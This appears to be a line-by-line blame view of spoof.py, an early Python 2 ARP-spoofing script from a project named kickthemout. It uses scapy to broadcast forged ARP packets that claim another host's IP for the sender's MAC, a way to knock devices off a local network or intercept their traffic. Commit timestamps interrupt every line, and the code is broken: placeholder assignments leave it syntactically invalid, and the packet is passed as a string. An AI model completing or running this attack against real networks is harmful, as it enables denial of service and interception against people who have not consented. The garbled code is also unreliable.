kickthemout/spoof.py

32 lines
726 B
Python
Raw Normal View History

2016-12-10 13:12:29 +01:00
import scapy
2016-12-11 15:42:34 +01:00
from scapy.all import *
2016-12-11 15:44:24 +01:00
"""
2016-12-11 15:42:34 +01:00
# GET MAC ADDRESS
def get_mac_address():
my_macs = [get_if_hwaddr(i) for i in get_if_list()]
for mac in my_macs:
if(mac != "00:00:00:00:00:00"):
return mac
my_mac = get_mac_address()
if not my_mac:
print "Cant get local mac address, quitting"
sys.exit(1)
2016-12-11 15:44:24 +01:00
"""
2016-12-11 16:01:01 +01:00
my_mac = # MY MAC
2016-12-11 15:42:34 +01:00
# REQUEST Host_Target & Host_Impersonation
2016-12-11 15:44:24 +01:00
"""
2016-12-11 15:42:34 +01:00
target = raw_input("Enter host target: ")
impersonation = raw_input("Enter host to impersonate: ")
2016-12-11 15:44:24 +01:00
"""
2016-12-11 16:01:01 +01:00
target = # TARGET MAC
impersonation = # IMPERSONATION MAC
2016-12-11 15:42:34 +01:00
# CRAFT & SEND PACKET
2016-12-26 21:53:21 +01:00
packet = 'Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", hwsrc='+my_mac+', psrc='+impersonation+', pdst='+target+')'
2016-12-11 15:42:34 +01:00
sendp(packet)